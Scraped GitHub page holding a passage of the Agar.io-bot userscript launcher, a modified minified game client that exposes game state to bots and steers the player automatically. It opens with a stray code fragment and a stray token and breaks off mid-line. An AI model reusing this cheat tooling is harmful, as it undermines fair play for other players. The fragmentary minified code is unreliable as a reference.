0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(d.navigator.userAgent), Ja = new Image; Ja.src = "img/split.png"; var nb = document.createElement("canvas"); if ("undefined" == typeof console || "undefined" == typeof DataView || "undefined" == typeof WebSocket || null == nb || null == nb.getContext || null == d.localStorage) alert("You browser does not support this game, we recommend you to use Firefox to play this"); else { var ka = null; d.setNick = function(a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Xa(); K = a; cb(); R = 0 }; d.setRegion = ha; d.setSkins = function(a) { kb = a }; d.setNames = function(a) { wa = a }; d.setDarkTheme = function(a) { ta = a }; d.setColors = function(a) { Oa = a }; d.setShowMass = function(a) { lb = a }; d.spectate = function() { K = null; H(1); Xa() }; d.setGameMode = function(a) { a != P && (":party" == P && e("#helloContainer").attr("data-party-state", "0"), Y(a), ":party" != a && I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: "EU-London", FK: "BR-Brazil", FJ: "SG-Singapore", FI: "EU-London", FR: "EU-London", GF: "BR-Brazil", PF: "SG-Singapore", GA: "EU-London", GM: "EU-London", GE: "JP-Tokyo", DE: "EU-London", GH: "EU-London", GI: "EU-London", GR: "EU-London", GL: "US-Atlanta", GD: "US-Atlanta", GP: "US-Atlanta", GU: "SG-Singapore", GT: "US-Atlanta", GG: "EU-London", GN: "EU-London", GW: "EU-London", GY: "BR-Brazil", HT: "US-Atlanta", VA: "EU-London", HN: "US-Atlanta", HK: "JP-Tokyo", HU: "EU-London", IS: "EU-London", IN: "JP-Tokyo", ID: "JP-Tokyo", IR: "JP-Tokyo", IQ: "JP-Tokyo", IE: "EU-London", IM: "EU-London", IL: "JP-Tokyo", IT: "EU-London", JM: "US-Atlanta", JP: "JP-Tokyo", JE: "EU-London", JO: "JP-Tokyo", KZ: "JP-Tokyo", KE: "EU-London", KI: "SG-Singapore", KP: "JP-Tokyo", KR: "JP-Tokyo", KW: "JP-Tokyo", KG: "JP-Tokyo", LA: "JP-Tokyo", LV: "EU-London", LB: "JP-Tokyo", LS: "EU-London", LR: "EU-London", LY: "EU-London", LI: "EU-London", LT: "EU-London", LU: "EU-London", MO: "JP-Tokyo", MK: "EU-London", MG: "EU-London", MW: "EU-London", MY: "JP-Tokyo", MV: "JP-Tokyo", ML: "EU-London", MT: "EU-London", MH: "SG-Singapore", MQ: "US-Atlanta", MR: "EU-London", MU: "EU-London", YT: "EU-London", MX: "US-Atlanta", FM: "SG-Singapore", MD: "EU-London", MC: "EU-London", MN: "JP-Tokyo", ME: "EU-London", MS: "US-Atlanta", MA: "EU-London", MZ: "EU-London", MM: "JP-Tokyo", NA: "EU-London", NR: "SG-Singapore", NP: "JP-Tokyo", NL: "EU-London", NC: "SG-Singapore", NZ: "SG-Singapore", NI: "US-Atlanta", NE: "EU-London", NG: "EU-London", NU: "SG-Singapore", NF: "SG-Singapore", MP: "SG-Singapore", NO: "EU-London", OM: "JP-Tokyo", PK: "JP-Tokyo", PW: "SG-Singapore", PS: "JP-Tokyo", PA: "US-Atlanta", PG: "SG-Singapore", PY: "BR-Brazil", PE: "BR-Brazil", PH: "JP-Tokyo", PN: "SG-Singapore", PL: "EU-London", PT: "EU-London", PR: "US-Atlanta", QA: "JP-Tokyo", RE: "EU-London", RO: "EU-London", RU: "RU-Russia", RW: "EU-London", BL: "US-Atlanta", SH: "EU-London", KN: "US-Atlanta", LC: "US-Atlanta", MF: "US-Atlanta", PM: "US-Atlanta", VC: "US-Atlanta", WS: "SG-Singapore", SM: "EU-London", ST: "EU-London", SA: "EU-London", SN: "EU-London", RS: "EU-London", SC: "EU-London", SL: "EU-London", SG: "JP-Tokyo", SX: "US-Atlanta", SK: "EU-London", SI: "EU-London", SB: "SG-Singapore", SO: "EU-London", ZA: "EU-London", SS: "EU-London", ES: "EU-London", LK: "JP-Tokyo", SD: "EU-London", SR: "BR-Brazil", SJ: "EU-London", SZ: "EU-London", SE: "EU-London", CH: "EU-London", SY: "EU-London", TW: "JP-Tokyo", TJ: "JP-Tokyo", TZ: "EU-London", TH: "JP-Tokyo", TL: "JP-Tokyo", TG: "EU-London", TK: "SG-Singapore", TO: "SG-Singapore", TT: "US-Atlanta", TN: "EU-London", TR: "TK-Turkey", TM: "JP-Tokyo", TC: "US-Atlanta", TV: "SG-Singapore", UG: "EU-London", UA: "EU-London", AE: "EU-London", GB: "EU-London", US: "US-Atlanta", UM: "SG-Singapore", VI: "US-Atlanta", UY: "BR-Brazil", UZ: "JP-Tokyo", VU: "SG-Singapore", VE: "BR-Brazil", VN: "JP-Tokyo", WF: "SG-Singapore", EH: "EU-London", YE: "JP-Tokyo", ZM: "EU-London", ZW: "EU-London" }, L = null; d.connect = Ca; //UPDATE window.getDarkBool = function() { return ta; } window.getMassBool = function() { return lb; } window.getMemoryCells = function() { return interNodes; } window.getCellsArray = function() { return v; } window.getCells = function() { return E; } window.getPlayer = function() { return k; } window.getWidth = function() { return m; } window.getHeight = function() { return r; } window.getRatio = function() { return h; } window.getOffsetX = function() { return aa; } window.getOffsetY = function() { return ba; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return ia[0]; } window.getPointY = function() { return ja[0]; } window.getMouseX = function() { return fa; } window.getMouseY = function() { return ga; } window.getMapStartX = function() { return pa; } window.getMapStartY = function() { return qa; } window.getMapEndX = function() { return ra; } window.getMapEndY = function() { return sa; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } window.getLastUpdate = function() { return C; } window.getCurrentScore = function() { return R; } window.getMode = function() { return P; } window.setPoint = function(x, y, index) { while (ia.length > getPlayer().length) { ia.pop(); ja.pop(); } if (index < ia.length) { ia[index] = x; ja[index] = y; } else { while (index < ia.length - 1) { ia.push(-1); ja.push(-1); } ia.push(x); ja.push(y); } } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } window.setMessage = function(a) { message = a; } var ma = 500, eb = -1, fb = -1, z = null, D = 1, ua = null, Ua = function() { var a = Date.now(), b = 1E3 / 60; return function() { d.requestAnimationFrame(Ua); var c = Date.now(), l = c - a; l > b && (a = c - l % b, !T() || 240 > Date.now() - bb ? gb() : console.warn("Skipping draw"), Fb()) } }(), U = {}, ob = "poland;usa;china;russia;canada;australia;spain;brazil;germany;ukraine;france;sweden;chaplin;north korea;south korea;japan;united kingdom;earth;greece;latvia;lithuania;estonia;finland;norway;cia;maldivas;austria;nigeria;reddit;yaranaika;confederate;9gag;indiana;4chan;italy;bulgaria;tumblr;2ch.hk;hong kong;portugal;jamaica;german empire;mexico;sanik;switzerland;croatia;chile;indonesia;bangladesh;thailand;iran;iraq;peru;moon;botswana;bosnia;netherlands;european union;taiwan;pakistan;hungary;satanist;qing dynasty;matriarchy;patriarchy;feminism;ireland;texas;facepunch;prodota;cambodia;steam;piccolo;ea;india;kc;denmark;quebec;ayy lmao;sealand;bait;tsarist russia;origin;vinesauce;stalin;belgium;luxembourg;stussy;prussia;8ch;argentina;scotland;sir;romania;belarus;wojak;doge;nasa;byzantium;imperial japan;french kingdom;somalia;turkey;mars;pokerface;8;irs;receita federal;facebook".split(";"), Gb = ["8", "nasa"], Hb = ["m'blob"]; Ka.prototype = { V: null, x: 0, y: 0, i: 0, b: 0 }; da.prototype = { id: 0, a: null, name: null, o: null, O: null, x: 0, y: 0, size: 0, s: 0, t: 0, r: 0, J: 0, K: 0, q: 0, ba: 0, Q: 0, sa: 0, ia: 0,
DickDumBR1
Skip to content Sign up Sign in This repository Search Explore Features Enterprise Pricing Watch 137 Star 490 Fork 1,535 Apostolique/Agar.io-bot Branch: master Agar.io-bot/launcher.user.js @ApostoliqueApostolique 10 days ago Easier to see the borders 7 contributors @Apostolique @DarkN3ss61 @Linkaan @Timtech @henopied @Gjum @lilezek RawBlameHistory 2456 lines (2277 sloc) 93.893 kB /*The MIT License (MIT) Copyright (c) 2015 Apostolique Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.*/ // ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 4.123 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 4.123; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; }; var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data.data); console.log("hmm: " + data.data.object.sha); sha = data.data.object.sha; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } window.botList[botIndex].keyAction(e); } function humanPlayer() { //Don't need to do anything. return [getPointX(), getPointY()]; } function pb() { //UPDATE window.botList = window.botList || []; window.jQuery('#nick').val(originalName); function HumanPlayerObject() { this.name = "Human"; this.keyAction = function(key) {}; this.displayText = function() {return [];}; this.mainLoop = humanPlayer; } var hpo = new HumanPlayerObject(); window.botList.push(hpo); window.updateBotList(); ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - 10, da: b - 10, oa: c + 10, pa: l + 10, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (toggle || window.botList[botIndex].name == "Human") { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t)); } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/findServer", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b.alert && alert(b.alert), Ca("ws://" + b.ip, b.token)) }, dataType: "json", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 5, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, !0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && (document.getElementById("overlays").style.display = "none", k.push(n), n.birth = getLastUpdate(), n.birthMass = (n.size * n.size / 100), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); //console.log("Time not updated: " + (window.getLastUpdate() - interNodes[element].getUptimeTime())); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } /** * Some horse shit of some sort. * @return Horse Shit */ function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } /** * A conversion from the screen's horizontal coordinate system * to the game's horizontal coordinate system. * @param x in the screen's coordinate system * @return x in the game's coordinate system */ window.screenToGameX = function(x) { return (x - getWidth() / 2) / getRatio() + getX(); } /** * A conversion from the screen's vertical coordinate system * to the game's vertical coordinate system. * @param y in the screen's coordinate system * @return y in the game's coordinate system */ window.screenToGameY = function(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; console.log("Done Reviving!"); } if (T()) { var a = fa - m / 2; var b = ga - r / 2; 64 > a * a + b * b || .01 > Math.abs(eb - ia) && .01 > Math.abs(fb - ja) || (eb = ia, fb = ja, a = N(13), a.setUint8(0, 16), a.setInt32(1, ia, !0), a.setInt32(5, ja, !0), a.setUint32(9, 0, !0), O(a)) } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex].mainLoop(); if (!toggle) { setPoint(moveLoc[0], moveLoc[1]); } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime())/1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 